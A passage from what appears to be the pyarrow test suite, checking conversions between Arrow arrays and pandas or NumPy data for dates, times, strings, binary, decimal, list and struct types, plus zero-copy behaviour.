test_pandas_datetime_to_date64(self, mask): s = pd.to_datetime([ '2018-05-10T00:00:00', '2018-05-11T00:00:00', '2018-05-12T00:00:00', ]) arr = pa.Array.from_pandas(s, type=pa.date64(), mask=mask) data = np.array([ date(2018, 5, 10), date(2018, 5, 11), date(2018, 5, 12) ]) expected = pa.array(data, mask=mask, type=pa.date64()) assert arr.equals(expected) @pytest.mark.parametrize('mask', [ None, np.array([True, False, False]) ]) def test_pandas_datetime_to_date64_failures(self, mask): s = pd.to_datetime([ '2018-05-10T10:24:01', '2018-05-11T10:24:01', '2018-05-12T10:24:01', ]) expected_msg = 'Timestamp value had non-zero intraday milliseconds' with pytest.raises(pa.ArrowInvalid, match=expected_msg): pa.Array.from_pandas(s, type=pa.date64(), mask=mask) def test_array_types_date_as_object(self): data = [date(2000, 1, 1), None, date(1970, 1, 1), date(2040, 2, 26)] expected_d = np.array(['2000-01-01', None, '1970-01-01', '2040-02-26'], dtype='datetime64[D]') expected_ns = np.array(['2000-01-01', None, '1970-01-01', '2040-02-26'], dtype='datetime64[ns]') objects = [pa.array(data), pa.chunked_array([data])] for obj in objects: result = obj.to_pandas() expected_obj = expected_d.astype(object) assert result.dtype == expected_obj.dtype npt.assert_array_equal(result, expected_obj) result = obj.to_pandas(date_as_object=False) assert result.dtype == expected_ns.dtype npt.assert_array_equal(result, expected_ns) def test_table_convert_date_as_object(self): df = pd.DataFrame({ 'date': [date(2000, 1, 1), None, date(1970, 1, 1), date(2040, 2, 26)]}) table = pa.Table.from_pandas(df, preserve_index=False) df_datetime = table.to_pandas(date_as_object=False) df_object = table.to_pandas() tm.assert_frame_equal(df.astype('datetime64[ns]'), df_datetime, check_dtype=True) tm.assert_frame_equal(df, df_object, check_dtype=True) def test_date_infer(self): df = pd.DataFrame({ 'date': [date(2000, 1, 1), None, date(1970, 1, 1), date(2040, 2, 26)]}) table = pa.Table.from_pandas(df, preserve_index=False) field = pa.field('date', pa.date32()) # schema's metadata is generated by from_pandas conversion expected_schema = pa.schema([field], metadata=table.schema.metadata) assert table.schema.equals(expected_schema) result = table.to_pandas() tm.assert_frame_equal(result, df) def test_date_mask(self): arr = np.array([date(2017, 4, 3), date(2017, 4, 4)], dtype='datetime64[D]') mask = [True, False] result = pa.array(arr, mask=np.array(mask)) expected = np.array([None, date(2017, 4, 4)], dtype='datetime64[D]') expected = pa.array(expected, from_pandas=True) assert expected.equals(result) def test_date_objects_typed(self): arr = np.array([ date(2017, 4, 3), None, date(2017, 4, 4), date(2017, 4, 5)], dtype=object) arr_i4 = np.array([17259, -1, 17260, 17261], dtype='int32') arr_i8 = arr_i4.astype('int64') * 86400000 mask = np.array([False, True, False, False]) t32 = pa.date32() t64 = pa.date64() a32 = pa.array(arr, type=t32) a64 = pa.array(arr, type=t64) a32_expected = pa.array(arr_i4, mask=mask, type=t32) a64_expected = pa.array(arr_i8, mask=mask, type=t64) assert a32.equals(a32_expected) assert a64.equals(a64_expected) # Test converting back to pandas colnames = ['date32', 'date64'] table = pa.Table.from_arrays([a32, a64], colnames) ex_values = (np.array(['2017-04-03', '2017-04-04', '2017-04-04', '2017-04-05'], dtype='datetime64[D]')) ex_values[1] = pd.NaT.value ex_datetime64ns = ex_values.astype('datetime64[ns]') expected_pandas = pd.DataFrame({'date32': ex_datetime64ns, 'date64': ex_datetime64ns}, columns=colnames) table_pandas = table.to_pandas(date_as_object=False) tm.assert_frame_equal(table_pandas, expected_pandas) table_pandas_objects = table.to_pandas() ex_objects = ex_values.astype('object') expected_pandas_objects = pd.DataFrame({'date32': ex_objects, 'date64': ex_objects}, columns=colnames) tm.assert_frame_equal(table_pandas_objects, expected_pandas_objects) def test_dates_from_integers(self): t1 = pa.date32() t2 = pa.date64() arr = np.array([17259, 17260, 17261], dtype='int32') arr2 = arr.astype('int64') * 86400000 a1 = pa.array(arr, type=t1) a2 = pa.array(arr2, type=t2) expected = date(2017, 4, 3) assert a1[0].as_py() == expected assert a2[0].as_py() == expected def test_pytime_from_pandas(self): pytimes = [time(1, 2, 3, 1356), time(4, 5, 6, 1356)] # microseconds t1 = pa.time64('us') aobjs = np.array(pytimes + [None], dtype=object) parr = pa.array(aobjs) assert parr.type == t1 assert parr[0].as_py() == pytimes[0] assert parr[1].as_py() == pytimes[1] assert parr[2] is pa.NA # DataFrame df = pd.DataFrame({'times': aobjs}) batch = pa.RecordBatch.from_pandas(df) assert batch[0].equals(parr) # Test ndarray of int64 values arr = np.array([_pytime_to_micros(v) for v in pytimes], dtype='int64') a1 = pa.array(arr, type=pa.time64('us')) assert a1[0].as_py() == pytimes[0] a2 = pa.array(arr * 1000, type=pa.time64('ns')) assert a2[0].as_py() == pytimes[0] a3 = pa.array((arr / 1000).astype('i4'), type=pa.time32('ms')) assert a3[0].as_py() == pytimes[0].replace(microsecond=1000) a4 = pa.array((arr / 1000000).astype('i4'), type=pa.time32('s')) assert a4[0].as_py() == pytimes[0].replace(microsecond=0) def test_arrow_time_to_pandas(self): pytimes = [time(1, 2, 3, 1356), time(4, 5, 6, 1356), time(0, 0, 0)] expected = np.array(pytimes[:2] + [None]) expected_ms = np.array([x.replace(microsecond=1000) for x in pytimes[:2]] + [None]) expected_s = np.array([x.replace(microsecond=0) for x in pytimes[:2]] + [None]) arr = np.array([_pytime_to_micros(v) for v in pytimes], dtype='int64') arr = np.array([_pytime_to_micros(v) for v in pytimes], dtype='int64') null_mask = np.array([False, False, True], dtype=bool) a1 = pa.array(arr, mask=null_mask, type=pa.time64('us')) a2 = pa.array(arr * 1000, mask=null_mask, type=pa.time64('ns')) a3 = pa.array((arr / 1000).astype('i4'), mask=null_mask, type=pa.time32('ms')) a4 = pa.array((arr / 1000000).astype('i4'), mask=null_mask, type=pa.time32('s')) names = ['time64[us]', 'time64[ns]', 'time32[ms]', 'time32[s]'] batch = pa.RecordBatch.from_arrays([a1, a2, a3, a4], names) for arr, expected_values in [(a1, expected), (a2, expected), (a3, expected_ms), (a4, expected_s)]: result_pandas = arr.to_pandas() assert (result_pandas.values == expected_values).all() df = batch.to_pandas() expected_df = pd.DataFrame({'time64[us]': expected, 'time64[ns]': expected, 'time32[ms]': expected_ms, 'time32[s]': expected_s}, columns=names) tm.assert_frame_equal(df, expected_df) def test_numpy_datetime64_columns(self): datetime64_ns = np.array([ '2007-07-13T01:23:34.123456789', None, '2006-01-13T12:34:56.432539784', '2010-08-13T05:46:57.437699912'], dtype='datetime64[ns]') _check_array_from_pandas_roundtrip(datetime64_ns) datetime64_us = np.array([ '2007-07-13T01:23:34.123456', None, '2006-01-13T12:34:56.432539', '2010-08-13T05:46:57.437699'], dtype='datetime64[us]') _check_array_from_pandas_roundtrip(datetime64_us) datetime64_ms = np.array([ '2007-07-13T01:23:34.123', None, '2006-01-13T12:34:56.432', '2010-08-13T05:46:57.437'], dtype='datetime64[ms]') _check_array_from_pandas_roundtrip(datetime64_ms) datetime64_s = np.array([ '2007-07-13T01:23:34', None, '2006-01-13T12:34:56', '2010-08-13T05:46:57'], dtype='datetime64[s]') _check_array_from_pandas_roundtrip(datetime64_s) @pytest.mark.parametrize('dtype', [pa.date32(), pa.date64()]) def test_numpy_datetime64_day_unit(self, dtype): datetime64_d = np.array([ '2007-07-13', None, '2006-01-15', '2010-08-19'], dtype='datetime64[D]') _check_array_from_pandas_roundtrip(datetime64_d, type=dtype) def test_array_from_pandas_date_with_mask(self): m = np.array([True, False, True]) data = pd.Series([ date(1990, 1, 1), date(1991, 1, 1), date(1992, 1, 1) ]) result = pa.Array.from_pandas(data, mask=m) expected = pd.Series([None, date(1991, 1, 1), None]) assert pa.Array.from_pandas(expected).equals(result) def test_fixed_offset_timezone(self): df = pd.DataFrame({ 'a': [ pd.Timestamp('2012-11-11 00:00:00+01:00'), pd.NaT ] }) _check_pandas_roundtrip(df) _check_serialize_components_roundtrip(df) def test_timedeltas_no_nulls(self): df = pd.DataFrame({ 'timedelta64': np.array([0, 3600000000000, 7200000000000], dtype='timedelta64[ns]') }) field = pa.field('timedelta64', pa.duration('ns')) schema = pa.schema([field]) _check_pandas_roundtrip( df, expected_schema=schema, ) def test_timedeltas_nulls(self): df = pd.DataFrame({ 'timedelta64': np.array([0, None, 7200000000000], dtype='timedelta64[ns]') }) field = pa.field('timedelta64', pa.duration('ns')) schema = pa.schema([field]) _check_pandas_roundtrip( df, expected_schema=schema, ) # ---------------------------------------------------------------------- # Conversion tests for string and binary types. class TestConvertStringLikeTypes(object): def test_pandas_unicode(self): repeats = 1000 values = [u'foo', None, u'bar', u'mañana', np.nan] df = pd.DataFrame({'strings': values * repeats}) field = pa.field('strings', pa.string()) schema = pa.schema([field]) _check_pandas_roundtrip(df, expected_schema=schema) def test_bytes_to_binary(self): values = [u'qux', b'foo', None, bytearray(b'barz'), 'qux', np.nan] df = pd.DataFrame({'strings': values}) table = pa.Table.from_pandas(df) assert table[0].type == pa.binary() values2 = [b'qux', b'foo', None, b'barz', b'qux', np.nan] expected = pd.DataFrame({'strings': values2}) _check_pandas_roundtrip(df, expected) @pytest.mark.large_memory def test_bytes_exceed_2gb(self): v1 = b'x' * 100000000 v2 = b'x' * 147483646 # ARROW-2227, hit exactly 2GB on the nose df = pd.DataFrame({ 'strings': [v1] * 20 + [v2] + ['x'] * 20 }) arr = pa.array(df['strings']) assert isinstance(arr, pa.ChunkedArray) assert arr.num_chunks == 2 arr = None table = pa.Table.from_pandas(df) assert table[0].num_chunks == 2 def test_fixed_size_bytes(self): values = [b'foo', None, bytearray(b'bar'), None, None, b'hey'] df = pd.DataFrame({'strings': values}) schema = pa.schema([pa.field('strings', pa.binary(3))]) table = pa.Table.from_pandas(df, schema=schema) assert table.schema[0].type == schema[0].type assert table.schema[0].name == schema[0].name result = table.to_pandas() tm.assert_frame_equal(result, df) def test_fixed_size_bytes_does_not_accept_varying_lengths(self): values = [b'foo', None, b'ba', None, None, b'hey'] df = pd.DataFrame({'strings': values}) schema = pa.schema([pa.field('strings', pa.binary(3))]) with pytest.raises(pa.ArrowInvalid): pa.Table.from_pandas(df, schema=schema) def test_variable_size_bytes(self): s = pd.Series([b'123', b'', b'a', None]) _check_series_roundtrip(s, type_=pa.binary()) def test_binary_from_bytearray(self): s = pd.Series([bytearray(b'123'), bytearray(b''), bytearray(b'a'), None]) # Explicitly set type _check_series_roundtrip(s, type_=pa.binary()) # Infer type from bytearrays _check_series_roundtrip(s, expected_pa_type=pa.binary()) def test_large_binary(self): s = pd.Series([b'123', b'', b'a', None]) _check_series_roundtrip(s, type_=pa.large_binary()) df = pd.DataFrame({'a': s}) _check_pandas_roundtrip( df, schema=pa.schema([('a', pa.large_binary())])) def test_large_string(self): s = pd.Series(['123', '', 'a', None]) _check_series_roundtrip(s, type_=pa.large_string()) df = pd.DataFrame({'a': s}) _check_pandas_roundtrip( df, schema=pa.schema([('a', pa.large_string())])) def test_table_empty_str(self): values = ['', '', '', '', ''] df = pd.DataFrame({'strings': values}) field = pa.field('strings', pa.string()) schema = pa.schema([field]) table = pa.Table.from_pandas(df, schema=schema) result1 = table.to_pandas(strings_to_categorical=False) expected1 = pd.DataFrame({'strings': values}) tm.assert_frame_equal(result1, expected1, check_dtype=True) result2 = table.to_pandas(strings_to_categorical=True) expected2 = pd.DataFrame({'strings': pd.Categorical(values)}) tm.assert_frame_equal(result2, expected2, check_dtype=True) def test_selective_categoricals(self): values = ['', '', '', '', ''] df = pd.DataFrame({'strings': values}) field = pa.field('strings', pa.string()) schema = pa.schema([field]) table = pa.Table.from_pandas(df, schema=schema) expected_str = pd.DataFrame({'strings': values}) expected_cat = pd.DataFrame({'strings': pd.Categorical(values)}) result1 = table.to_pandas(categories=['strings']) tm.assert_frame_equal(result1, expected_cat, check_dtype=True) result2 = table.to_pandas(categories=[]) tm.assert_frame_equal(result2, expected_str, check_dtype=True) result3 = table.to_pandas(categories=('strings',)) tm.assert_frame_equal(result3, expected_cat, check_dtype=True) result4 = table.to_pandas(categories=tuple()) tm.assert_frame_equal(result4, expected_str, check_dtype=True) def test_to_pandas_categorical_zero_length(self): # ARROW-3586 array = pa.array([], type=pa.int32()) table = pa.Table.from_arrays(arrays=[array], names=['col']) # This would segfault under 0.11.0 table.to_pandas(categories=['col']) def test_to_pandas_categories_already_dictionary(self): # Showed up in ARROW-6434, ARROW-6435 array = pa.array(['foo', 'foo', 'foo', 'bar']).dictionary_encode() table = pa.Table.from_arrays(arrays=[array], names=['col']) result = table.to_pandas(categories=['col']) assert table.to_pandas().equals(result) def test_table_str_to_categorical_without_na(self): values = ['a', 'a', 'b', 'b', 'c'] df = pd.DataFrame({'strings': values}) field = pa.field('strings', pa.string()) schema = pa.schema([field]) table = pa.Table.from_pandas(df, schema=schema) result = table.to_pandas(strings_to_categorical=True) expected = pd.DataFrame({'strings': pd.Categorical(values)}) tm.assert_frame_equal(result, expected, check_dtype=True) with pytest.raises(pa.ArrowInvalid): table.to_pandas(strings_to_categorical=True, zero_copy_only=True) def test_table_str_to_categorical_with_na(self): values = [None, 'a', 'b', np.nan] df = pd.DataFrame({'strings': values}) field = pa.field('strings', pa.string()) schema = pa.schema([field]) table = pa.Table.from_pandas(df, schema=schema) result = table.to_pandas(strings_to_categorical=True) expected = pd.DataFrame({'strings': pd.Categorical(values)}) tm.assert_frame_equal(result, expected, check_dtype=True) with pytest.raises(pa.ArrowInvalid): table.to_pandas(strings_to_categorical=True, zero_copy_only=True) # Regression test for ARROW-2101 def test_array_of_bytes_to_strings(self): converted = pa.array(np.array([b'x'], dtype=object), pa.string()) assert converted.type == pa.string() # Make sure that if an ndarray of bytes is passed to the array # constructor and the type is string, it will fail if those bytes # cannot be converted to utf-8 def test_array_of_bytes_to_strings_bad_data(self): with pytest.raises( pa.lib.ArrowInvalid, match="was not a utf8 string"): pa.array(np.array([b'\x80\x81'], dtype=object), pa.string()) def test_numpy_string_array_to_fixed_size_binary(self): arr = np.array([b'foo', b'bar', b'baz'], dtype='|S3') converted = pa.array(arr, type=pa.binary(3)) expected = pa.array(list(arr), type=pa.binary(3)) assert converted.equals(expected) mask = np.array([True, False, True]) converted = pa.array(arr, type=pa.binary(3), mask=mask) expected = pa.array([b'foo', None, b'baz'], type=pa.binary(3)) assert converted.equals(expected) with pytest.raises(pa.lib.ArrowInvalid, match=r'Got bytestring of length 3 $expected 4$'): arr = np.array([b'foo', b'bar', b'baz'], dtype='|S3') pa.array(arr, type=pa.binary(4)) with pytest.raises( pa.lib.ArrowInvalid, match=r'Got bytestring of length 12 $expected 3$'): arr = np.array([b'foo', b'bar', b'baz'], dtype='|U3') pa.array(arr, type=pa.binary(3)) class TestConvertDecimalTypes(object): """ Conversion test for decimal types. """ decimal32 = [ decimal.Decimal('-1234.123'), decimal.Decimal('1234.439') ] decimal64 = [ decimal.Decimal('-129934.123331'), decimal.Decimal('129534.123731') ] decimal128 = [ decimal.Decimal('394092382910493.12341234678'), decimal.Decimal('-314292388910493.12343437128') ] @pytest.mark.parametrize(('values', 'expected_type'), [ pytest.param(decimal32, pa.decimal128(7, 3), id='decimal32'), pytest.param(decimal64, pa.decimal128(12, 6), id='decimal64'), pytest.param(decimal128, pa.decimal128(26, 11), id='decimal128') ]) def test_decimal_from_pandas(self, values, expected_type): expected = pd.DataFrame({'decimals': values}) table = pa.Table.from_pandas(expected, preserve_index=False) field = pa.field('decimals', expected_type) # schema's metadata is generated by from_pandas conversion expected_schema = pa.schema([field], metadata=table.schema.metadata) assert table.schema.equals(expected_schema) @pytest.mark.parametrize('values', [ pytest.param(decimal32, id='decimal32'), pytest.param(decimal64, id='decimal64'), pytest.param(decimal128, id='decimal128') ]) def test_decimal_to_pandas(self, values): expected = pd.DataFrame({'decimals': values}) converted = pa.Table.from_pandas(expected) df = converted.to_pandas() tm.assert_frame_equal(df, expected) def test_decimal_fails_with_truncation(self): data1 = [decimal.Decimal('1.234')] type1 = pa.decimal128(10, 2) with pytest.raises(pa.ArrowInvalid): pa.array(data1, type=type1) data2 = [decimal.Decimal('1.2345')] type2 = pa.decimal128(10, 3) with pytest.raises(pa.ArrowInvalid): pa.array(data2, type=type2) def test_decimal_with_different_precisions(self): data = [ decimal.Decimal('0.01'), decimal.Decimal('0.001'), ] series = pd.Series(data) array = pa.array(series) assert array.to_pylist() == data assert array.type == pa.decimal128(3, 3) array = pa.array(data, type=pa.decimal128(12, 5)) expected = [decimal.Decimal('0.01000'), decimal.Decimal('0.00100')] assert array.to_pylist() == expected def test_decimal_with_None_explicit_type(self): series = pd.Series([decimal.Decimal('3.14'), None]) _check_series_roundtrip(series, type_=pa.decimal128(12, 5)) # Test that having all None values still produces decimal array series = pd.Series([None] * 2) _check_series_roundtrip(series, type_=pa.decimal128(12, 5)) def test_decimal_with_None_infer_type(self): series = pd.Series([decimal.Decimal('3.14'), None]) _check_series_roundtrip(series, expected_pa_type=pa.decimal128(3, 2)) def test_strided_objects(self, tmpdir): # see ARROW-3053 data = { 'a': {0: 'a'}, 'b': {0: decimal.Decimal('0.0')} } # This yields strided objects df = pd.DataFrame.from_dict(data) _check_pandas_roundtrip(df) class TestConvertListTypes(object): """ Conversion tests for list<> types. """ def test_column_of_arrays(self): df, schema = dataframe_with_arrays() _check_pandas_roundtrip(df, schema=schema, expected_schema=schema) table = pa.Table.from_pandas(df, schema=schema, preserve_index=False) # schema's metadata is generated by from_pandas conversion expected_schema = schema.with_metadata(table.schema.metadata) assert table.schema.equals(expected_schema) for column in df.columns: field = schema.field(column) _check_array_roundtrip(df[column], type=field.type) def test_column_of_arrays_to_py(self): # Test regression in ARROW-1199 not caught in above test dtype = 'i1' arr = np.array([ np.arange(10, dtype=dtype), np.arange(5, dtype=dtype), None, np.arange(1, dtype=dtype) ]) type_ = pa.list_(pa.int8()) parr = pa.array(arr, type=type_) assert parr[0].as_py() == list(range(10)) assert parr[1].as_py() == list(range(5)) assert parr[2].as_py() is None assert parr[3].as_py() == [0] def test_column_of_boolean_list(self): # ARROW-4370: Table to pandas conversion fails for list of bool array = pa.array([[True, False], [True]], type=pa.list_(pa.bool_())) table = pa.Table.from_arrays([array], names=['col1']) df = table.to_pandas() expected_df = pd.DataFrame({'col1': [[True, False], [True]]}) tm.assert_frame_equal(df, expected_df) s = table[0].to_pandas() tm.assert_series_equal(pd.Series(s), df['col1'], check_names=False) def test_column_of_decimal_list(self): array = pa.array([[decimal.Decimal('1'), decimal.Decimal('2')], [decimal.Decimal('3.3')]], type=pa.list_(pa.decimal128(2, 1))) table = pa.Table.from_arrays([array], names=['col1']) df = table.to_pandas() expected_df = pd.DataFrame( {'col1': [[decimal.Decimal('1'), decimal.Decimal('2')], [decimal.Decimal('3.3')]]}) tm.assert_frame_equal(df, expected_df) def test_nested_types_from_ndarray_null_entries(self): # Root cause of ARROW-6435 s = pd.Series(np.array([np.nan, np.nan], dtype=object)) for ty in [pa.list_(pa.int64()), pa.large_list(pa.int64()), pa.struct([pa.field('f0', 'int32')])]: result = pa.array(s, type=ty) expected = pa.array([None, None], type=ty) assert result.equals(expected) with pytest.raises(TypeError): pa.array(s.values, type=ty) def test_column_of_lists(self): df, schema = dataframe_with_lists() _check_pandas_roundtrip(df, schema=schema, expected_schema=schema) table = pa.Table.from_pandas(df, schema=schema, preserve_index=False) # schema's metadata is generated by from_pandas conversion expected_schema = schema.with_metadata(table.schema.metadata) assert table.schema.equals(expected_schema) for column in df.columns: field = schema.field(column) _check_array_roundtrip(df[column], type=field.type) def test_column_of_lists_first_empty(self): # ARROW-2124 num_lists = [[], [2, 3, 4], [3, 6, 7, 8], [], [2]] series = pd.Series([np.array(s, dtype=float) for s in num_lists]) arr = pa.array(series) result = pd.Series(arr.to_pandas()) tm.assert_series_equal(result, series) def test_column_of_lists_chunked(self): # ARROW-1357 df = pd.DataFrame({ 'lists': np.array([ [1, 2], None, [2, 3], [4, 5], [6, 7], [8, 9] ], dtype=object) }) schema = pa.schema([ pa.field('lists', pa.list_(pa.int64())) ]) t1 = pa.Table.from_pandas(df[:2], schema=schema) t2 = pa.Table.from_pandas(df[2:], schema=schema) table = pa.concat_tables([t1, t2]) result = table.to_pandas() tm.assert_frame_equal(result, df) def test_empty_column_of_lists_chunked(self): df = pd.DataFrame({ 'lists': np.array([], dtype=object) }) schema = pa.schema([ pa.field('lists', pa.list_(pa.int64())) ]) table = pa.Table.from_pandas(df, schema=schema) result = table.to_pandas() tm.assert_frame_equal(result, df) def test_column_of_lists_chunked2(self): data1 = [[0, 1], [2, 3], [4, 5], [6, 7], [10, 11], [12, 13], [14, 15], [16, 17]] data2 = [[8, 9], [18, 19]] a1 = pa.array(data1) a2 = pa.array(data2) t1 = pa.Table.from_arrays([a1], names=['a']) t2 = pa.Table.from_arrays([a2], names=['a']) concatenated = pa.concat_tables([t1, t2]) result = concatenated.to_pandas() expected = pd.DataFrame({'a': data1 + data2}) tm.assert_frame_equal(result, expected) def test_column_of_lists_strided(self): df, schema = dataframe_with_lists() df = pd.concat([df] * 6, ignore_index=True) arr = df['int64'].values[::3] assert arr.strides[0] != 8 _check_array_roundtrip(arr) def test_nested_lists_all_none(self): data = np.array([[None, None], None], dtype=object) arr = pa.array(data) expected = pa.array(list(data)) assert arr.equals(expected) assert arr.type == pa.list_(pa.null()) data2 = np.array([None, None, [None, None], np.array([None, None], dtype=object)], dtype=object) arr = pa.array(data2) expected = pa.array([None, None, [None, None], [None, None]]) assert arr.equals(expected) def test_nested_lists_all_empty(self): # ARROW-2128 data = pd.Series([[], [], []]) arr = pa.array(data) expected = pa.array(list(data)) assert arr.equals(expected) assert arr.type == pa.list_(pa.null()) def test_nested_list_first_empty(self): # ARROW-2711 data = pd.Series([[], [u"a"]]) arr = pa.array(data) expected = pa.array(list(data)) assert arr.equals(expected) assert arr.type == pa.list_(pa.string()) def test_nested_smaller_ints(self): # ARROW-1345, ARROW-2008, there were some type inference bugs happening # before data = pd.Series([np.array([1, 2, 3], dtype='i1'), None]) result = pa.array(data) result2 = pa.array(data.values) expected = pa.array([[1, 2, 3], None], type=pa.list_(pa.int8())) assert result.equals(expected) assert result2.equals(expected) data3 = pd.Series([np.array([1, 2, 3], dtype='f4'), None]) result3 = pa.array(data3) expected3 = pa.array([[1, 2, 3], None], type=pa.list_(pa.float32())) assert result3.equals(expected3) def test_infer_lists(self): data = OrderedDict([ ('nan_ints', [[None, 1], [2, 3]]), ('ints', [[0, 1], [2, 3]]), ('strs', [[None, u'b'], [u'c', u'd']]), ('nested_strs', [[[None, u'b'], [u'c', u'd']], None]) ]) df = pd.DataFrame(data) expected_schema = pa.schema([ pa.field('nan_ints', pa.list_(pa.int64())), pa.field('ints', pa.list_(pa.int64())), pa.field('strs', pa.list_(pa.string())), pa.field('nested_strs', pa.list_(pa.list_(pa.string()))) ]) _check_pandas_roundtrip(df, expected_schema=expected_schema) def test_infer_numpy_array(self): data = OrderedDict([ ('ints', [ np.array([0, 1], dtype=np.int64), np.array([2, 3], dtype=np.int64) ]) ]) df = pd.DataFrame(data) expected_schema = pa.schema([ pa.field('ints', pa.list_(pa.int64())) ]) _check_pandas_roundtrip(df, expected_schema=expected_schema) @pytest.mark.parametrize('t,data,expected', [ ( pa.int64, [[1, 2], [3], None], [None, [3], None] ), ( pa.string, [[u'aaa', u'bb'], [u'c'], None], [None, [u'c'], None] ), ( pa.null, [[None, None], [None], None], [None, [None], None] ) ]) def test_array_from_pandas_typed_array_with_mask(self, t, data, expected): m = np.array([True, False, True]) s = pd.Series(data) result = pa.Array.from_pandas(s, mask=m, type=pa.list_(t())) assert pa.Array.from_pandas(expected, type=pa.list_(t())).equals(result) def test_empty_list_roundtrip(self): empty_list_array = np.empty((3,), dtype=object) empty_list_array.fill([]) df = pd.DataFrame({'a': np.array(['1', '2', '3']), 'b': empty_list_array}) tbl = pa.Table.from_pandas(df) result = tbl.to_pandas() tm.assert_frame_equal(result, df) def test_array_from_nested_arrays(self): df, schema = dataframe_with_arrays() for field in schema: arr = df[field.name].values expected = pa.array(list(arr), type=field.type) result = pa.array(arr) assert result.type == field.type # == list<scalar> assert result.equals(expected) class TestConvertStructTypes(object): """ Conversion tests for struct types. """ def test_pandas_roundtrip(self): df = pd.DataFrame({'dicts': [{'a': 1, 'b': 2}, {'a': 3, 'b': 4}]}) expected_schema = pa.schema([ ('dicts', pa.struct([('a', pa.int64()), ('b', pa.int64())])), ]) _check_pandas_roundtrip(df, expected_schema=expected_schema) # specifying schema explicitly in from_pandas _check_pandas_roundtrip( df, schema=expected_schema, expected_schema=expected_schema) def test_to_pandas(self): ints = pa.array([None, 2, 3], type=pa.int64()) strs = pa.array([u'a', None, u'c'], type=pa.string()) bools = pa.array([True, False, None], type=pa.bool_()) arr = pa.StructArray.from_arrays( [ints, strs, bools], ['ints', 'strs', 'bools']) expected = pd.Series([ {'ints': None, 'strs': u'a', 'bools': True}, {'ints': 2, 'strs': None, 'bools': False}, {'ints': 3, 'strs': u'c', 'bools': None}, ]) series = pd.Series(arr.to_pandas()) tm.assert_series_equal(series, expected) def test_from_numpy(self): dt = np.dtype([('x', np.int32), (('y_title', 'y'), np.bool_)]) ty = pa.struct([pa.field('x', pa.int32()), pa.field('y', pa.bool_())]) data = np.array([], dtype=dt) arr = pa.array(data, type=ty) assert arr.to_pylist() == [] data = np.array([(42, True), (43, False)], dtype=dt) arr = pa.array(data, type=ty) assert arr.to_pylist() == [{'x': 42, 'y': True}, {'x': 43, 'y': False}] # With mask arr = pa.array(data, mask=np.bool_([False, True]), type=ty) assert arr.to_pylist() == [{'x': 42, 'y': True}, None] # Trivial struct type dt = np.dtype([]) ty = pa.struct([]) data = np.array([], dtype=dt) arr = pa.array(data, type=ty) assert arr.to_pylist() == [] data = np.array([(), ()], dtype=dt) arr = pa.array(data, type=ty) assert arr.to_pylist() == [{}, {}] def test_from_numpy_nested(self): # Note: an object field inside a struct dt = np.dtype([('x', np.dtype([('xx', np.int8), ('yy', np.bool_)])), ('y', np.int16), ('z', np.object_)]) # Note: itemsize is not a multiple of sizeof(object) assert dt.itemsize == 12 ty = pa.struct([pa.field('x', pa.struct([pa.field('xx', pa.int8()), pa.field('yy', pa.bool_())])), pa.field('y', pa.int16()), pa.field('z', pa.string())]) data = np.array([], dtype=dt) arr = pa.array(data, type=ty) assert arr.to_pylist() == [] data = np.array([ ((1, True), 2, 'foo'), ((3, False), 4, 'bar')], dtype=dt) arr = pa.array(data, type=ty) assert arr.to_pylist() == [ {'x': {'xx': 1, 'yy': True}, 'y': 2, 'z': 'foo'}, {'x': {'xx': 3, 'yy': False}, 'y': 4, 'z': 'bar'}] @pytest.mark.large_memory def test_from_numpy_large(self): # Exercise rechunking + nulls target_size = 3 * 1024**3 # 4GB dt = np.dtype([('x', np.float64), ('y', 'object')]) bs = 65536 - dt.itemsize block = b'.' * bs n = target_size // (bs + dt.itemsize) data = np.zeros(n, dtype=dt) data['x'] = np.random.random_sample(n) data['y'] = block # Add implicit nulls data['x'][data['x'] < 0.2] = np.nan ty = pa.struct([pa.field('x', pa.float64()), pa.field('y', pa.binary())]) arr = pa.array(data, type=ty, from_pandas=True) assert arr.num_chunks == 2 def iter_chunked_array(arr): for chunk in arr.iterchunks(): for item in chunk: yield item def check(arr, data, mask=None): assert len(arr) == len(data) xs = data['x'] ys = data['y'] for i, obj in enumerate(iter_chunked_array(arr)): try: d = obj.as_py() if mask is not None and mask[i]: assert d is None else: x = xs[i] if np.isnan(x): assert d['x'] is None else: assert d['x'] == x assert d['y'] == ys[i] except Exception: print("Failed at index", i) raise check(arr, data) del arr # Now with explicit mask mask = np.random.random_sample(n) < 0.2 arr = pa.array(data, type=ty, mask=mask, from_pandas=True) assert arr.num_chunks == 2 check(arr, data, mask) del arr def test_from_numpy_bad_input(self): ty = pa.struct([pa.field('x', pa.int32()), pa.field('y', pa.bool_())]) dt = np.dtype([('x', np.int32), ('z', np.bool_)]) data = np.array([], dtype=dt) with pytest.raises(TypeError, match="Missing field 'y'"): pa.array(data, type=ty) data = np.int32([]) with pytest.raises(TypeError, match="Expected struct array"): pa.array(data, type=ty) def test_from_tuples(self): df = pd.DataFrame({'tuples': [(1, 2), (3, 4)]}) expected_df = pd.DataFrame( {'tuples': [{'a': 1, 'b': 2}, {'a': 3, 'b': 4}]}) # conversion from tuples works when specifying expected struct type struct_type = pa.struct([('a', pa.int64()), ('b', pa.int64())]) arr = np.asarray(df['tuples']) _check_array_roundtrip( arr, expected=expected_df['tuples'], type=struct_type) expected_schema = pa.schema([('tuples', struct_type)]) _check_pandas_roundtrip( df, expected=expected_df, schema=expected_schema, expected_schema=expected_schema) class TestZeroCopyConversion(object): """ Tests that zero-copy conversion works with some types. """ def test_zero_copy_success(self): result = pa.array([0, 1, 2]).to_pandas(zero_copy_only=True) npt.assert_array_equal(result, [0, 1, 2]) def test_zero_copy_dictionaries(self): arr = pa.DictionaryArray.from_arrays( np.array([0, 0]), np.array([5])) result = arr.to_pandas(zero_copy_only=True) values = pd.Categorical([5, 5]) tm.assert_series_equal(pd.Series(result), pd.Series(values), check_names=False) def check_zero_copy_failure(self, arr): with pytest.raises(pa.ArrowInvalid): arr.to_pandas(zero_copy_only=True) def test_zero_copy_failure_on_object_types(self): self.check_zero_copy_failure(pa.array(['A', 'B', 'C'])) def test_zero_copy_failure_with_int_when_nulls(self): self.check_zero_copy_failure(pa.array([0, 1, None])) def test_zero_copy_failure_with_float_when_nulls(self): self.check_zero_copy_failure(pa.array([0.0, 1.0, None])) def test_zero_copy_failure_on_bool_types(self): self.check_zero_copy_failure(pa.array([True, False])) def test_zero_copy_failure_on_list_types(self): arr = pa.array([[1, 2], [8, 9]], type=pa.list_(pa.int64())) self.check_zero_copy_failure(arr) def test_zero_copy_failure_on_timestamp_types(self): arr = np.array(['2007-07-13'], dtype='datetime64[ns]') 